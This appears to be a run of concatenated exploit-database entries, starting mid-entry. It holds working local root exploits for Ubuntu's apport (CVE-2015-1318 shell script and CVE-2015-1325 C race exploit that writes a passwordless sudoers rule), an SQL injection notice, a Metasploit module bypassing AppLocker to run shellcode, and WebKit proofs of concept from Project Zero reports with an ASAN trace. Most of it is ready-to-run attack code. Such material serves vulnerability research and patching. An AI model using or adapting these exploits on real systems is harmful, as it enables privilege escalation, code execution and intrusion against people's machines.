# Kill the sudo process after second apport finished
kill `ps -ef | grep "sudo -S sud" | grep -v grep | awk '{print $2}'`

##
            
Source: http://www.halfdog.net/Security/2015/ApportKernelCrashdumpFileAccessVulnerabilities/

Problem description: On Ubuntu Vivid Linux distribution apport is used for automated sending of client program crash dumps but also of kernel crash dumps. For kernel crashes, upstart or SysV init invokes the program /usr/share/apport/kernel_crashdump at boot to prepare crash dump files for sending. This action is performed with root privileges. As the crash dump directory /var/crash/ is world writable and kernel_crashdump performs file access in unsafe manner, any local user may trigger a denial of service or escalate to root privileges. If symlink and hardlink protection is enabled (which should be the default for any modern system), only denial of service is possible.
Problematic syscall in kernel_crashdump is:

open("/var/crash/linux-image-3.19.0-18-generic.0.crash", O_WRONLY|O_CREAT|O_TRUNC|O_LARGEFILE|O_CLOEXEC, 0666) = 30
...
open("/var/crash/vmcore.log", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 31

Thus the output file is opened unconditionally and without O_EXCL or O_NOFOLLOW. Also opening of input file does not care about links.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38353.zip
            
#!/bin/sh
#
# CVE-2015-1318
# 
# Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758
# 
# Example:
#
# % uname -a
# Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
#
# % lsb_release -a
# No LSB modules are available.
# Distributor ID: Ubuntu
# Description:    Ubuntu 14.04.2 LTS
# Release:    14.04
# Codename:   trusty
#
# % dpkg -l | grep '^ii  apport ' | awk -F ' '  '{ print $2 " " $3 }'
# apport 2.14.1-0ubuntu3.8
#
# % id
# uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...)
#
# % ./apport.sh
# pwned-4.3# id
# uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...)
# pwned-4.3# exit

TEMPDIR=$(mktemp -d)

cd ${TEMPDIR}

cp /bin/busybox .

mkdir -p dev mnt usr/share/apport

(
cat << EOF
#!/busybox sh
(
cp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned
chmod 5755 /mnt/1/root/tmp/pwned
) 
EOF

) > usr/share/apport/apport

chmod +x usr/share/apport/apport

(
cat << EOF
mount -o bind . .
cd .
mount --rbind /proc mnt
touch dev/null
pivot_root . .
./busybox sleep 500 &
SLEEP=\$!
./busybox sleep 1
./busybox kill -11 \$SLEEP
./busybox sleep 5
EOF
) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \
    lxc-unshare -s "MOUNT|PID|NETWORK|UTSNAME|IPC" -- /bin/sh 2>&1 >/dev/null

/tmp/pwned -p

rm -Rf ${TEMPDIR}
            
/*
# Exploit Title: apport/ubuntu local root race condition
# Date: 2015-05-11
# Exploit Author: rebel
# Version: ubuntu 14.04, 14.10, 15.04
# Tested on: ubuntu 14.04, 14.10, 15.04
# CVE : CVE-2015-1325

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1325 / apport-pid-race.c
apport race conditions

ubuntu local root
tested on ubuntu server 14.04, 14.10, 15.04

core dropping bug also works on older versions, but you can't
write arbitrary contents. on 12.04 /etc/logrotate.d might work,
didn't check. sudo and cron will complain if you drop a real ELF
core file in sudoers.d/cron.d

unpriv@ubuntu-1504:~$ gcc apport-race.c -o apport-race && ./apport-race
created /var/crash/_bin_sleep.1002.crash
crasher: my pid is 1308
apport stopped, pid = 1309
getting pid 1308
current pid = 1307..2500..5000..7500..10000........
** child: current pid = 1308
** child: executing /bin/su
Password: sleeping 2s..

checker: mode 4532
waiting for file to be unlinked..writing to fifo
fifo written.. wait...
waiting for /etc/sudoers.d/core to appear..

checker: new mode 32768 .. done
checker: SIGCONT
checker: writing core
checker: done
success
# id
uid=0(root) gid=0(root) groups=0(root)

85ad63cf7248d7da46e55fa1b1c6fe01dea43749
2015-05-10
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <unistd.h>
#include <string.h>
#include <sys/wait.h>


char *crash_report = "ProblemType: Crash\nArchitecture: amd64\nCrashCounter: 0\nDate: Sat May  9 18:18:33 2015\nDistroRelease: Ubuntu 15.04\nExecutablePath: /bin/sleep\nExecutableTimestamp: 1415000653\nProcCmdline: sleep 1337\nProcCwd: /home/rebel\nProcEnviron:\n XDG_RUNTIME_DIR=<set>\nProcMaps:\n 00400000-00407000 r-xp 00000000 08:01 393307                             /bin/sleep\nProcStatus:\n Name:  sleep\nSignal: 11\nUname: Linux 3.19.0-15-generic x86_64\nUserGroups:\n_LogindSession: 23\nCoreDump: base64\n H4sICAAAAAAC/0NvcmVEdW1wAA==\n U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA==\n";
/*
last line is the stuff we write to the corefile

c = zlib.compressobj(9,zlib.DEFLATED,-zlib.MAX_WBITS)
t = '# \x01\x02\x03\x04\n\n\nALL ALL=(ALL) NOPASSWD: ALL\n'
# need some non-ASCII bytes so it doesn't turn into a str()
# which makes apport fail with the following error:
#    os.write(core_file, r['CoreDump'])
# TypeError: 'str' does not support the buffer interface
t = bytes(t,'latin1')
c.compress(t)
a = c.flush()
import base64
base64.b64encode(a)

# b'U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA=='
*/

int apport_pid;
char report[128];

void steal_pid(int wanted_pid)
{
    int x, pid;

    pid = getpid();

    fprintf(stderr,"getting pid %d\n", wanted_pid);
    fprintf(stderr,"current pid = %d..", pid);

    for(x = 0; x < 500000; x++) {
        pid = fork();
        if(pid == 0) {
            pid = getpid();
            if(pid % 2500 == 0)
                fprintf(stderr,"%d..", pid);

            if(pid == wanted_pid) {
                fprintf(stderr,"\n** child: current pid = %d\n", pid);
                fprintf(stderr,"** child: executing /bin/su\n");

                execl("/bin/su", "su", NULL);
            }
            exit(0);
            return;
        }
        if(pid == wanted_pid)
            return;

        wait(NULL);
    }

}



void checker(void)
{
    struct stat s;
    int fd, mode, x;

    stat(report, &s);

    fprintf(stderr,"\nchecker: mode %d\nwaiting for file to be unlinked..", s.st_mode);

    mode = s.st_mode;

    while(1) {
// poor man's pseudo-singlestepping
        kill(apport_pid, SIGCONT);
        kill(apport_pid, SIGSTOP);

// need to wait a bit for the signals to be handled,
// otherwise we'll miss when the new report file is created
        for(x = 0; x < 100000; x++);

        stat(report, &s);

        if(s.st_mode != mode)
            break;
    }

    fprintf(stderr,"\nchecker: new mode %d .. done\n", s.st_mode);

    unlink(report);
    mknod(report, S_IFIFO | 0666, 0);

    fprintf(stderr,"checker: SIGCONT\n");
    kill(apport_pid, SIGCONT);

    fprintf(stderr,"checker: writing core\n");

    fd = open(report, O_WRONLY);
    write(fd, crash_report, strlen(crash_report));
    close(fd);
    fprintf(stderr,"checker: done\n");

    while(1)
        sleep(1);
}



void crasher()
{
    chdir("/etc/sudoers.d");

    fprintf(stderr,"crasher: my pid is %d\n", getpid());

    execl("/bin/sleep", "sleep", "1337", NULL);

    exit(0);
}


int main(void)
{
    int pid, checker_pid, fd;
    struct rlimit limits;
    struct stat s;

    limits.rlim_cur = RLIM_INFINITY;
    limits.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &limits);

    pid = fork();

    if(pid == 0)
        crasher();

    sprintf(report, "/var/crash/_bin_sleep.%d.crash", getuid());

    unlink(report);
    mknod(report, S_IFIFO | 0666, 0);

    fprintf(stderr,"created %s\n", report);

    usleep(300000);
    kill(pid, 11);
    apport_pid = pid + 1;
// could check that pid+1 is actually apport here but it's
// kind of likely
    fprintf(stderr,"apport stopped, pid = %d\n", apport_pid);

    usleep(300000);

    kill(pid, 9);
    steal_pid(pid);
    sleep(1);

    kill(apport_pid, SIGSTOP);

    checker_pid = fork();

    if(checker_pid == 0) {
        checker();
        exit(0);
    }

    fprintf(stderr,"sleeping 2s..\n");
    sleep(2);

    fprintf(stderr,"writing to fifo\n");

    fd = open(report, O_WRONLY);
    write(fd, crash_report, strlen(crash_report));
    close(fd);

    fprintf(stderr,"fifo written.. wait...\n");
    fprintf(stderr,"waiting for /etc/sudoers.d/core to appear..\n");

    while(1) {
        stat("/etc/sudoers.d/core", &s);
        if(s.st_size == 37)
            break;
        usleep(100000);
    }

    fprintf(stderr,"success\n");
    kill(pid, 9);
    kill(checker_pid, 9);
    return system("sudo -- sh -c 'stty echo;sh -i'");
}
            
# # # # #
# Exploit Title: Doctors Appointment Script - SQL Injection
# Google Dork: N/A
# Date: 05.04.2017
# Vendor Homepage: http://appointment-script.com/
# Software: http://appointment-script.com/demo
# Demo: http://appointment-script.com/demo
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search?lat=[SQL]&lon=[SQL]&category=[SQL]&insurance=[SQL]
# user
#    id
#    first_name
#    last_name
#    username
#    email
#    password
#    user_level_id
# Doctor profile images file upload vulnerability available.
# http://localhost/[PATH]/images/doctor_image/...
# # # # #
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class Metasploit4 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Post::File

  def initialize(info={})
    super(update_info(info,
      'Name'          => 'AppLocker Execution Prevention Bypass',
      'Description'   => %q{
        This module will generate a .NET service executable on the target and utilise
        InstallUtil to run the payload bypassing the AppLocker protection.

        Currently only the InstallUtil method is provided, but future methods can be
        added easily.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Casey Smith', # Original AppLocker bypass research
          'OJ Reeves'    # MSF module
        ],
      'Platform'      => [ 'win' ],
      'Arch'          => [ ARCH_X86, ARCH_X86_64 ],
      'SessionTypes'  => [ 'meterpreter' ],
      'Targets'       => [ [ 'Windows', {} ] ],
      'DefaultTarget' => 0,
      'DisclosureDate'=> 'Aug 3 2015',
      'References'    =>
        [
          ['URL', 'https://gist.github.com/subTee/fac6af078937dda81e57']
        ]
    ))

    register_options([
      OptEnum.new('TECHNIQUE', [true, 'Technique to use to bypass AppLocker',
                               'INSTALLUTIL', %w(INSTALLUTIL)])])
  end

  # Run Method for when run command is issued
  def exploit
    if datastore['TECHNIQUE'] == 'INSTALLUTIL'
      if payload.arch.first == 'x64' && sysinfo['Architecture'] !~ /64/
        fail_with(Failure::NoTarget, 'The target platform is x86. 64-bit payloads are not supported.')
      end
    end

    # sysinfo is only on meterpreter sessions
    print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

    if datastore['TECHNIQUE'] == 'INSTALLUTIL'
      execute_installutil
    end
  end

  def execute_installutil
    envs = get_envs('TEMP', 'windir')

    dotnet_path = get_dotnet_path(envs['windir'])
    print_status("Using .NET path #{dotnet_path}")

    cs_path = "#{envs['TEMP']}\\#{Rex::Text.rand_text_alpha(8)}.cs"
    exe_path = "#{envs['TEMP']}\\#{Rex::Text.rand_text_alpha(8)}.exe"

    installutil_path = "#{dotnet_path}\\InstallUtil.exe"

    print_status("Writing payload to #{cs_path}")
    write_file(cs_path, generate_csharp_source)
    register_files_for_cleanup(cs_path)

    print_status("Compiling payload to #{exe_path}")
    csc_path = "#{dotnet_path}\\csc.exe"
    csc_platform = payload.arch.first == 'x86' ? 'x86' : 'x64'
    vprint_status("Executing: #{csc_path} /target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}")
    cmd_exec(csc_path, "/target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}")

    print_status("Executing payload ...")
    vprint_status("Executing: #{installutil_path} /logfile= /LogToConsole=false /U #{exe_path}")
    client.sys.process.execute(installutil_path, "/logfile= /LogToConsole=false /U #{exe_path}", {'Hidden' => true})
    register_files_for_cleanup(exe_path)
  end

  def get_dotnet_path(windir)
    base_path = "#{windir}\\Microsoft.NET\\Framework#{payload.arch.first == 'x86' ? '' : '64'}"
    paths = dir(base_path).select {|p| p[0] == 'v'}
    dotnet_path = nil

    paths.reverse.each do |p|
      path = "#{base_path}\\#{p}"
      if directory?(path) && file?("#{path}\\InstallUtil.exe")
        dotnet_path = path
        break
      end
    end

    unless dotnet_path
      fail_with(Failure::NotVulnerable, '.NET is not present on the target.')
    end

    dotnet_path
  end

  def generate_csharp_source
    sc = payload.encoded.each_byte.map {|b| "0x#{b.to_s(16)}"}.join(',')
    cs = %Q^
using System;

namespace Pop
{
  public class Program { public static void Main() { } }

  [System.ComponentModel.RunInstaller(true)]
  public class Pop : System.Configuration.Install.Installer
  {
    private static Int32 MEM_COMMIT=0x1000;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
    private static UInt32 INFINITE = 0xFFFFFFFF;

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);

    public override void Uninstall(System.Collections.IDictionary s)
    {
      byte[] sc = new byte[] {#{sc}};
      IntPtr m = VirtualAlloc(IntPtr.Zero, (UIntPtr)sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      System.Runtime.InteropServices.Marshal.Copy(sc, 0, m, sc.Length);
      IntPtr id = IntPtr.Zero;
      WaitForSingleObject(CreateThread(id, UIntPtr.Zero, m, id, 0, ref id), INFINITE);
    }
  }
}
    ^

    cs
  end

end
            
posix_spawn is a complex syscall which takes a lot of arguments from userspace. The third argument
is a pointer to a further arguments descriptor in userspace with the following structure (on 32-bit):

  struct user32__posix_spawn_args_desc {
    uint32_t  attr_size;  /* size of attributes block */
    uint32_t  attrp;    /* pointer to block */
    uint32_t  file_actions_size;  /* size of file actions block */
    uint32_t  file_actions;  /* pointer to block */
    uint32_t  port_actions_size;  /* size of port actions block */
    uint32_t  port_actions;  /* pointer to block */
    uint32_t  mac_extensions_size;
    uint32_t  mac_extensions;
    uint32_t  coal_info_size;
    uint32_t  coal_info;
    uint32_t  persona_info_size;
    uint32_t  persona_info;
  }

port_actions then points to another structure in userspace of this type:

  struct _posix_spawn_port_actions {
    int      pspa_alloc;
    int      pspa_count;
    _ps_port_action_t   pspa_actions[];
  }

and finally _ps_port_action_t looks like this:

  struct _ps_port_action {
    pspa_t      port_type;
    exception_mask_t  mask;
    mach_port_name_t  new_port;
    exception_behavior_t  behavior;
    thread_state_flavor_t  flavor;
    int      which;
  }

Note that pspa_actions is a zero-sized array. pspa_count is supposed to be the number of entries
in this array.

The following constraints are checked in posix_spawn in kern_exec.c:

  if (px_args.port_actions_size != 0) {
    /* Limit port_actions to one page of data */
    if (px_args.port_actions_size < PS_PORT_ACTIONS_SIZE(1) ||
        px_args.port_actions_size > PAGE_SIZE) {
      error = EINVAL;
      goto bad;


PS_PORT_ACTIONS_SIZE is defined like this:

  #define  PS_PORT_ACTIONS_SIZE(x)  \
    __offsetof(struct _posix_spawn_port_actions, pspa_actions[(x)])

if port_actions_size passes this then we reach the following code:

  MALLOC(px_spap, _posix_spawn_port_actions_t,
        px_args.port_actions_size, M_TEMP, M_WAITOK);
  if (px_spap == NULL) {
    error = ENOMEM;
    goto bad;
  }

  imgp->ip_px_spa = px_spap;

  if ((error = copyin(px_args.port_actions, px_spap,
                      px_args.port_actions_size)) != 0)
    goto bad;

This allocates a kernel heap buffer to hold the port_actions buffer and copies from userspace into it.

The code then attempts to check whether the pspa_count valid is correct:

  /* Verify that the action count matches the struct size */
  if (PS_PORT_ACTIONS_SIZE(px_spap->pspa_count) != px_args.port_actions_size) {
    error = EINVAL;
    goto bad;
  }

There is an integer overflow here because offsetof is just simple arithmetic. With a carefully chosen
value for pspa_count we can make it very large but when it's passed to the PS_PORT_ACTIONS_SIZE macro
the result is equal to port_actions_size. Nothing bad has happened yet but we can now get pspa_count
to be much larger than it should be.

Later on we reach the following code:

  if (px_spap->pspa_count != 0 && is_adaptive) {
    portwatch_count = px_spap->pspa_count;
    MALLOC(portwatch_ports, ipc_port_t *, (sizeof(ipc_port_t) * portwatch_count), M_TEMP, M_WAITOK | M_ZERO);
  } else {
    portwatch_ports = NULL;
  }

  if ((error = exec_handle_port_actions(imgp, &portwatch_present, portwatch_ports)) != 0)

We can cause another integer overflow here, sizeof(ipc_port_t) is 4 (on 32-bit) so with a carefully chosen value of pspa_count
we can cause the integer overflow here and earlier too whilst still passing the checks.

exec_handle_port_actions then uses portwatch ports like this:

  for (i = 0; i < pacts->pspa_count; i++) {
    act = &pacts->pspa_actions[i];

    if (MACH_PORT_VALID(act->new_port)) {
      kr = ipc_object_copyin(get_task_ipcspace(current_task()),
                             act->new_port, MACH_MSG_TYPE_COPY_SEND,
                             (ipc_object_t *) &port);
...
      switch (act->port_type) {
...
      case PSPA_IMP_WATCHPORTS:
        if (portwatch_ports != NULL && IPC_PORT_VALID(port)) {
         *portwatch_present = TRUE;
        /* hold on to this till end of spawn */
        portwatch_ports[i] = port;


note that pspa_actions was allocated earlier also based on the result of an integer overflow.
This means we can cause an OOB write to portwatch_ports only if we can successfully read suitable valid
values OOB of pspa_actions. That's why this PoC first fills a kalloc.1024 buffer with suitable values before
freeing it and then hoping that it will get reallocated as pspa_actions (but less thatn 1024 bytes will be written)
such that we control what's read OOB and the ipc_object_copyin will succeed.

This seems to be pretty reliable. You can use this to build a nice primitive of a heap overflow with pointers
to ipc_port structures.

I don't believe there are any iOS 11 32-bit iPod/iPhone/iPad/AppleTV devices but the new Apple Watch Series 3
is running essentially the same kernel but has a 32-bit CPU. This PoC is provided as an Apple watch app
and has been tested on Apple Watch Series 3 (Watch3,2) running WatchOS 4.0.1. I also tested on an older 32-bit iOS 9 device.

Apple Watch Series 3 now has its own LTE modem and can be used without an iPhone making it a suitably interesting target for exploitation
by itself.

Note that all the uses of offsetof in those posix_spawn macros are quite wrong, I think you might be able to get
a kernel memory disclosure with one of them also on 64-bit platforms. The fix is to add correct bounds checking.

Please also note that this really shouldn't be attack surface reachable from an app sandbox. The MAC hook in posix_spawn
is very late and there's a *lot* of code which you can hit before it.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43325.zip
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1056

void Frame::setDocument(RefPtr<Document>&& newDocument)
{
    ASSERT(!newDocument || newDocument->frame() == this);

    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
        m_doc->prepareForDestruction();

    m_doc = newDocument.copyRef();
    ...
}

The function |prepareForDestruction| only called when the cache state is not |Document::InPageCache|. So the frame will be never detached from the cached document.

PoC:
-->

"use strict";

document.write("click anywhere to start");

window.onclick = () => {
    let w = open("about:blank", "one");
    let d = w.document;

    let a = d.createElement("a");
    a.href = "https://abc.xyz/";
    a.click();  <<------- about:blank -> Document::InPageCache

    let it = setInterval(() => {
        try {
            w.location.href.toString;
        } catch (e) {
            clearInterval(it);

            let s = d.createElement("a");  <<------ about:blank's document
            s.href = "javascript:alert(location)";
            s.click();
        }
    }, 0);
};


<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1074

When an element is removed from a document, the function |disconnectSubframes| is called to detach its subframes(iframe tag, object tag, etc.).

Here is a snippet of |disconnectSubframes|.

void disconnectSubframes(ContainerNode& root, SubframeDisconnectPolicy policy)
{
    ...
    Vector<Ref<HTMLFrameOwnerElement>> frameOwners;

    if (policy == RootAndDescendants) {
        if (is<HTMLFrameOwnerElement>(root))
            frameOwners.append(downcast<HTMLFrameOwnerElement>(root));
    }

    collectFrameOwners(frameOwners, root);

    // Must disable frame loading in the subtree so an unload handler cannot
    // insert more frames and create loaded frames in detached subtrees.
    SubframeLoadingDisabler disabler(root);

    bool isFirst = true;
    for (auto& owner : frameOwners) {
        // Don't need to traverse up the tree for the first owner since no
        // script could have moved it.
        if (isFirst || root.containsIncludingShadowDOM(&owner.get()))
            owner.get().disconnectContentFrame();
        isFirst = false;
    }
}

The bug is that it doesn't consider |root|'s shadowroot. So any subframes in the shadowroot will be never detached.

It should be like:

    ...
    collectFrameOwners(frameOwners, root);

    if (is<Element>(root)) {
        Element& element = downcast<Element>(root);
        if (ShadowRoot* shadowRoot = element.shadowRoot())
            collectFrameOwners(frameOwners, *shadowRoot);
    }
    ...


PoC:
-->

var d = document.body.appendChild(document.createElement("div"));
var s = d.attachShadow({mode: "open"});

var f = s.appendChild(document.createElement("iframe"));

f.onload = () => {
    f.onload = null;

    f.src = "javascript:alert(location)";

    var xml = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.d);

</sc` + `ript>
<element a="1" a="2" />
</svg>`;

    var v = document.body.appendChild(document.createElement("iframe"));
    v.src = URL.createObjectURL(new Blob([xml], {type: "text/xml"}));
};

f.src = "https://abc.xyz/";

<!--
Tested on Safari 10.0.2(12602.3.12.0.1)

I didn’t notice that the method shadowRoot is declared in Node.h. So the following would better make sense.

    collectFrameOwners(frameOwners, root);

    if (ShadowRoot* shadowRoot = root.shadowRoot())
        collectFrameOwners(frameOwners, *shadowRoot);
-->
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1085

EncodedJSValue JSC_HOST_CALL constructJSReadableStreamDefaultReader(ExecState& exec)
{
    VM& vm = exec.vm();
    auto scope = DECLARE_THROW_SCOPE(vm);

    JSReadableStream* stream = jsDynamicDowncast<JSReadableStream*>(exec.argument(0));
    if (!stream)
        return throwArgumentTypeError(exec, scope, 0, "stream", "ReadableStreamReader", nullptr, "ReadableStream");

    JSValue jsFunction = stream->get(&exec, Identifier::fromString(&exec, "getReader")); <<--- 1

    CallData callData;
    CallType callType = getCallData(jsFunction, callData);
    MarkedArgumentBuffer noArguments;
    return JSValue::encode(call(&exec, jsFunction, callType, callData, stream, noArguments));
}

It doesn't check whether |getReader| is callable or not.

PoC:
-->

let rs = new ReadableStream();
let cons = rs.getReader().constructor;

rs.getReader = 0x12345;
new cons(rs);

<!--
Tested on Webkit Nightly 10.0.2(12602.3.12.0.1, r210800)
-->
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1080

There is a use-after-free security vulnerability related to how the HTMLInputElement is handled in WebKit. The vulnerability was confirmed on a nightly build of WebKit. The PoC also crashes Safari 10.0.2 on Mac.

PoC:

=================================================================
-->

<script>
function eventhandler1() {
  input.type = "foo";
}
function eventhandler2() {
  input.selectionStart = 25;
}
</script>
<input id="input" onfocus="eventhandler1()" autofocus="autofocus" type="tel">
<iframe onload="eventhandler2()"></iframe>

<!--
=================================================================

ASAN log (from WebKit nightly on Mac): 

=================================================================
==26782==ERROR: AddressSanitizer: heap-use-after-free on address 0x60800005a3b4 at pc 0x000108e904ad bp 0x7fff5e5fa940 sp 0x7fff5e5fa938
READ of size 4 at 0x60800005a3b4 thread T0
    #0 0x108e904ac in WebCore::Node::getFlag(WebCore::Node::NodeFlags) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x84ac)
    #1 0x108e93568 in WebCore::Node::renderer() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xb568)
    #2 0x10ad2213a in WebCore::Node::renderBox() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1e9a13a)
    #3 0x109b9e2eb in WebCore::HTMLTextFormControlElement::setSelectionRange(int, int, WebCore::TextFieldSelectionDirection, WebCore::AXTextStateChangeIntent const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd162eb)
    #4 0x109b9db6a in WebCore::HTMLTextFormControlElement::setSelectionStart(int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd15b6a)
    #5 0x109afa97f in WebCore::HTMLInputElement::setSelectionStartForBindings(int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc7297f)
    #6 0x10a37a857 in WebCore::setJSHTMLInputElementSelectionStartFunction(JSC::ExecState&, WebCore::JSHTMLInputElement&, JSC::JSValue, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x14f2857)
    #7 0x10a3718af in bool WebCore::BindingCaller<WebCore::JSHTMLInputElement>::setAttribute<&(WebCore::setJSHTMLInputElementSelectionStartFunction(JSC::ExecState&, WebCore::JSHTMLInputElement&, JSC::JSValue, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, long long, long long, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x14e98af)
    #8 0x105a0ab58 in JSC::callCustomSetter(JSC::ExecState*, bool (*)(JSC::ExecState*, long long, long long), bool, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x70eb58)
    #9 0x105a0ac85 in JSC::callCustomSetter(JSC::ExecState*, JSC::JSValue, bool, JSC::JSObject*, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x70ec85)
    #10 0x1063edf95 in JSC::JSObject::putInlineSlow(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x10f1f95)
    #11 0x1065a2223 in llint_slow_path_put_by_id (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12a6223)
    #12 0x1065bdbfd in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c1bfd)
    #13 0x1065c126c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c526c)
    #14 0x1065ba83a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12be83a)
    #15 0x10627947d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf7d47d)
    #16 0x106203aa3 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf07aa3)
    #17 0x1058f5991 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9991)
    #18 0x1058f5abb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9abb)
    #19 0x1058f5e06 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9e06)
    #20 0x109f3ab2e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x10b2b2e)
    #21 0x10a220786 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1398786)
    #22 0x10977ba05 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f3a05)
    #23 0x10977b52f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f352f)
